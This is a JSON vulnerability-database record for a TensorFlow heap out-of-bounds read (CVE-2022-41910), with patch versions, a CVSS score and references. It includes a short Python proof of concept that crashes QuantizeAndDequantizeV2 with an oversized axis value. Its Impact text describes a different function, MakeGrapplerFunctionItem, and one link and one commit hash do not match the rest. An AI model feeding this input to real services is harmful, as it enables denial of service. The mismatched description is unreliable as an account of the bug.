{"id":"CVE-2022-41910","aliases":["BIT-tensorflow-2022-41910","GHSA-frqp-wp83-qggv","PYSEC-2026-3178","PYSEC-2026-3323","PYSEC-2026-992"],"url":"https://o3.security/vulnerability/CVE-2022-41910","summary":"Heap out of bounds read in `QuantizeAndDequantizeV2` in Tensorflow","details":"### Impact\nThe function [MakeGrapplerFunctionItem](https://https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/grappler/utils/functions.cc#L221) takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read or a crash is triggered.\n```python\nimport tensorflow as tf\n@tf.function\ndef test():\n    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],\n    \t\t\t\t\t\t\t\t   input_min=[1.0],\n    \t\t\t\t\t\t\t\t   input_max=[10.0],\n    \t\t\t\t\t\t\t\t   signed_input=True,\n    \t\t\t\t\t\t\t\t   num_bits=1,\n    \t\t\t\t\t\t\t\t   range_given=True,\n    \t\t\t\t\t\t\t\t   round_mode='HALF_TO_EVEN',\n    \t\t\t\t\t\t\t\t   narrow_range=True,\n    \t\t\t\t\t\t\t\t   axis=0x7fffffff)\ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb](https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb).\n\nThe fix will be included in TensorFlow 2.11.0. We will also cherrypick this commit on TensorFlow 2.10.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n","published":"2022-12-06T00:00:00Z","modified":"2026-08-12T13:33:23.964724Z","cvss":{"score":4.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"tensorflow","fixedVersion":"2.8.4"},{"ecosystem":"PyPI","name":"tensorflow","fixedVersion":"2.9.3"},{"ecosystem":"PyPI","name":"tensorflow","fixedVersion":"2.10.1"},{"ecosystem":"PyPI","name":"tensorflow-cpu","fixedVersion":"2.8.4"},{"ecosystem":"PyPI","name":"tensorflow-gpu","fixedVersion":"2.8.4"},{"ecosystem":"PyPI","name":"tensorflow-cpu","fixedVersion":"2.9.3"},{"ecosystem":"PyPI","name":"tensorflow-gpu","fixedVersion":"2.9.3"},{"ecosystem":"PyPI","name":"tensorflow-cpu","fixedVersion":"2.10.1"},{"ecosystem":"PyPI","name":"tensorflow-gpu","fixedVersion":"2.10.1"}],"fix":{"url":"https://github.com/tensorflow/tensorflow/commit/a65411a1d69edfb16b25907ffb8f73556ce36bb7","label":"tensorflow/tensorflow@a65411a"},"references":[{"type":"WEB","url":"https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/grappler/utils/functions.cc#L221"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/41xxx/CVE-2022-41910.json"},{"type":"ADVISORY","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-frqp-wp83-qggv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-41910"},{"type":"FIX","url":"https://github.com/tensorflow/tensorflow/commit/a65411a1d69edfb16b25907ffb8f73556ce36bb7"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T13:33:23.964724Z"}}